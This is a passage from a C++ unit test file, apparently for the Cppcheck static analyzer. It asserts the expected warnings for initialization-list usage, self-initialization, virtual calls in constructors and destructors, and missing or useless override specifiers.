[useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { 